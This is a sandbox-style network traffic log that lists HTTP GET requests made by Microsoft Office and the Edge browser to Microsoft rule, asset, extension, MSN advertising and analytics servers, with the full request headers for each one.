Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730742208&P2=404&P3=2&P4=VzgUykOR8QfHn3b9mESQY09IUQEIXNB47AjgEOOciL90LjU2aLAPR8rgU4McFKxnUanbb%2bVWAm5Fx18d%2bg4zpQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: uitr99sEy47CNwz/QSVrSSSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29FEC05542B56D820230D57343E26C2D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8706bfa30ea84e18f41bed2bfd558a5f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29FEC05542B56D820230D57343E26C2D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7440559f2d924538fcd8bbb2da45fdab HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18570fffe5f4e14affde4dc1730137420; XID=18570fffe5f4e14affde4dc1730137420
